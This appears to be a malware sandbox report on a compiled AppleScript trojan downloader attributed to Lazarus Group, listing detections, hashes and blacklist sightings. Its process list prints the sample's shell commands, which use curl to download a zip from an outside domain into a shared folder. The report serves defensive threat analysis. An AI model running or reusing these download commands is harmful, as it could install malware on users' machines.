scenario_300700___d406e1dc-41ef-4329-85bf-83d6b1e3f65b.scpt
Classification: Malicious
scenario_300700___d406e1dc-41ef-4329-85bf-83d6b1e3f65b.scpt is a trojan (script, 1.1 KB). Detected by 33 antivirus engines. Linked to Lazarus Group activity.
Detection summary
- 33 antivirus detections
- 0 IDS alerts
- 4 processes observed
- 0 contacted hosts
- 1 DNS requests
Blacklist sightings
| Description |
Source |
First seen |
Last seen |
Labels |
MITRE ATT&CK |
| Generic Malware |
Cyber Threat Alliance |
2026-08-10 10:17:15 |
2026-10-17 10:12:29 |
malicious-activity
|
|
| Generic Malware |
Hybrid-Analysis |
2024-10-14 16:30:05 |
2026-06-16 15:45:04 |
malicious-activity
|
|
| Lazarus Group |
Maltiverse |
2023-04-27 04:25:14 |
2023-04-28 14:38:34 |
malicious-activity
|
G0032 Lazarus Group
|
Sample information
- Filenames
- scenario_300700___d406e1dc-41ef-4329-85bf-83d6b1e3f65b.scpt
- File type
- AppleScript compiled
- Size
- 1144 bytes
- MD5
19d3db82d16942b3c338439a36f20453- SHA-1
dabb4372050264f389b8adcf239366860662ac52- SHA-256
7c66d2d75be43d2c17e75d37c39344a9b5d29ee5c5861f178aa7d9f34208eb48- First indexed
- 2023-04-28 14:38:34
- Last updated
- 2026-06-16 15:45:04
Antivirus detections
| Engine | Detection |
|---|
| ALYac | Trojan.OSX.Nukesped |
| AVG | MacOS:NukeSpeed-AD [Trj] |
| AhnLab-V3 | Trojan/OSX.NukeSped.1144 |
| Arcabit | Trojan.MAC.Generic.D1B576 |
| Avast | MacOS:NukeSpeed-AD [Trj] |
| Avira | OSX/RustBucket.A |
| BitDefender | Trojan.MAC.Generic.111990 |
| CTX | unknown.trojan.nukesped |
| Cynet | Malicious (score: 99) |
| ESET-NOD32 | OSX/NukeSped.R |
| Emsisoft | Trojan.MAC.Generic.111990 (B) |
| F-Secure | Malware.OSX/RustBucket.A |
| Fortinet | OSX/NukeSped.R!tr |
| GData | Trojan.MAC.Generic.111990 |
| Google | Detected |
| Ikarus | Trojan.OSX.Nukesped |
| Kaspersky | Trojan-Downloader.OSX.Lazarus.c |
| Kingsoft | Win32.Troj.Undef.a |
| Lionic | Trojan.OSX.NukeSped.a!c |
| MicroWorld-eScan | Trojan.MAC.Generic.111990 |
| Microsoft | Trojan:MacOS/NukeSped.H |
| Skyhigh | Trojan-Downlaoder.ab |
| Sophos | OSX/NukeSped-AV |
| Symantec | OSX.Trojan.Gen |
| Tencent | Osx.Trojan-Downloader.Lazarus.Ztjl |
| TrellixENS | Trojan-Downlaoder.ab |
| TrendMicro | Trojan.MacOS.RUSTBUCKET.ZJKE |
| TrendMicro-HouseCall | Trojan.MacOS.RUSTBUCKET.ZJKE |
| VIPRE | Trojan.MAC.Generic.111990 |
| Varist | MAC/NukeSpeed.E |
| ViRobot | BIN.S.Agent.1144 |
| ZoneAlarm | OSX/NukeSped-AV |
| alibabacloud | Trojan[downloader]:MacOS/NukeSped.R |
Process list
| Name | Command line |
|---|
| osascript | osascript /Users/hapubws/scenario_300700___d406e1dc-41ef-4329-85bf-83d6b1e3f65b.scpt |
| sh | sh -c curl -o /users/shared/1.zip https://cloud.dnx.capital/ZyCws4dD_zE/aUhUJV0p6P/S9XrRH9%2B/R51g4b5Kjj/abnY%3D -A cur1 |
| curl | curl -o /users/shared/1.zip https://cloud.dnx.capital/ZyCws4dD_zE/aUhUJV0p6P/S9XrRH9%2B/R51g4b5Kjj/abnY%3D -A cur1 |
| sh | sh -c curl -o /users/shared/1.zip https://cloud.dnx.capital/ZyCws4dD_zE/aUhUJV0p6P/S9XrRH9%2B/R51g4b5Kjj/abnY%3D -A cur1 |